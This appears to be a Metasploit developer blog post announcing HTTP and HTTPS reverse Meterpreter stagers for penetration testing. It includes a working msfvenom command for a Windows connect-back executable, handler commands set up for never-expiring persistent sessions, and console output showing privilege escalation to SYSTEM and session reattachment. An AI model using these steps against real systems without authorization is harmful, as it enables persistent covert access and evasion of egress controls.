The Meterpreter payload within the Metasploit Framework (and used by Metasploit Pro) is an amazing toolkit for penetration testing and security assessments. Combined with the Ruby API on the Framework side and you have the simplicity of a scripting language with the power of a remote native process. These are the things that make scripts and Post modules great and what we showcase in the advanced post-exploit automation available today. Metasploit as a platform has always had a concept of an established connection equating to a session on a compromised system. Meterpreter as a payload has supported reverse TCP connections, bind shell listeners, transport over Internet Explorer using ActiveX controls (PassiveX),and more recently a HTTPS stager. This is finally changing.

Corporate egress filters are becoming tighter and the standard connect-back payload has become less useful for large-scale end-user phishing campaigns. The PassiveX payload worked well for specific versions of Internet Explorer, but is becoming harder to support due to version and platform differences. The HTTPS stager within Metasploit works, but only the first stage of the connection used the target's proxy settings and authentication; the second stage required a full persistent SSL connection from Meterpreter back to the attacking system.

Rob Fuller (who many know as mubix) was lamenting this state of affairs last Sunday and convinced me to actually do something about it. The result is native support for HTTP and HTTPS transports for the Meterpreter payload, available in the Metasploit Framework open source tree immediately. Our Metasploit Pro users will be able to take advantage of the new HTTPS stager for phishing campaigns once the code has gone through a full regression test. These payloads use the WinInet API and will leverage any proxy or authentication settings the user has configured for internet access. The HTTPS stager will cause the entire communication path to be encrypted through SSL.The HTTP stager, even without encryption, will still follow the HTTP protocol specification and allow the payload to breeze through protocol inspecting gateways.

These new stagers (reverse_http and reverse_https) are a drastic departure from our existing payloads for one singular reason; they are no longer tied to a specific TCP session between the target and the Metasploit user. Instead of a stream-based communication model, these stagers provide a packet-based transaction system instead. This mode matches the behavior of many malware families and botnets. The challenge with these payloads is identifying when the user is "done"; this is accomplished in three different ways:

1. The payload has a hard-coded expiration date stamped into it during the initial staging process. By default, this is one week from the current date (relative to the target). This prevents a forgotten session from connecting back indefinitely. You can control this setting through the SessionExpirationTimeout advanced option. Setting this value to 0 indicates that it should continue connecting back until the process is forcibly killed or the target is restarted.

2. The payload has a hard-coded keep-alive timeout stamped into it during the staging process. This tells the payload to shutdown on its own if it is unable to connect back for a specific number of seconds. By default this is 300 secoinds (5 minutes), but it can be changed by setting the SessionCommunicationTimeout parameter. Just like the SessionExpirationTimeout option,setting this to 0 will result in a session that will never timeout, which has some interesting uses, as described below.

3. Finally, the Meterpreter payload now exposes a shutdown API (core_shutdown). This is called automatically when the session is exited through the Metasploit Console. To avoid shutting down the payload but still exit the temporary session, use the detach command from the Meterpreter prompt. Keep in mind that if the SessionCommunicationTimeout is hit (5 minutes of not being able to reach a listening handler), the payload will terminate anyways. Setting this option to 0 and detaching the session will instruct the payload to keep reaching out until the SessionCommunicationTimeout is hit or the process is killed.

With the new behavior and the three termination options above, some new capabilities are exposed.

If you are conducting a penetration test in which the compromised target has spotty internet access, setting SessionCommunicationTimeout to 0 will ensure that your session will reattach whenever the target comes back online (as long as the handler is running). Even better, the target will use the currently configured proxy server and authentication settings to reach the Metasploit server. Rob Fuller tested the new payloads through TOR and the payload was able to keep a session alive even when the exit nodes were being changed and the TOR service was turned on and off.  This level of resiliency previously required a payload to be written to disk, which goes against one of the core principals of the Metasploit design.

If you are conducting a penetration test and want to change the IP to which your incoming connections are received, just use a DNS name for LHOST and modify the DNS record as needed (set a low TTL). If the name does not resolve and the SessionCommunicationTimeout and SessionExpirationTimeout settings have not been reached, the payload will continue trying to resolve the name and connect back. The session will continue to follow DNS changes and IP changes on the target side.

The work that was done to support a transactional HTTP-based communication model can be easily extended to support other communication channels in the future. Communicating through IRC, using Pastebin documents, or really any other form of network communication is now relatively simple to implement. Malware, botnets, and backdoors are using increasingly sophisticated communication channels and it is about time that our security tools caught up.

The command line below will generate a Windows executable that uses the new HTTPS stager:

$ msfvenom -p windows/meterpreter/reverse_https -f exe LPORT=4443 > metasploit_https.exe

This sequence of Metasploit Console commands will configure a listener to handle the requests:

$ ./msfconsole
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 4443
msf exploit(handler) > set SessionCommunicationTimeout 0
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j
[] Exploit running as background job.
] Started HTTPS reverse handler on
[] Starting the payload handler...
Running the executable on the target results in:
] Request received for /INITM...
[] Staging connection for target /INITM received...
] Patched transport at offset 486516...
[] Patched URL at offset 486248...
] Patched Expiration Timeout at offset 641856...
[] Patched Communication Timeout at offset 641860...
] Meterpreter session 1 opened ( -> at 2011-06-29 02:43:55 -0500
msf exploit(handler) > sessions -i 1
[] Starting interaction with 1...
meterpreter > getuid
Server username: Spine\HD
meterpreter > getsystem system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > detach
] Meterpreter session 1 closed.  Reason: User exit

At this point, we can close the Metasploit Console and bring it up at any time.

After running the handler again with the same parameters:

[] Request received for /CONN_mmOJARwJFmHbqXKu/...
] Incoming orphaned session CONN_mmOJARwJFmHbqXKu, reattaching...
[] Meterpreter session 1 opened ( -> at 2011-06-29 02:44:24 -0500
msf exploit(handler) > sessions -i 1
] Starting interaction with 1...
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

You can see that the session has maintained state even across different instances of Metasploit.

This concept applies to background tasks like the keystroke sniffer, network sniffer, and other fuctions that accumulate information in the background.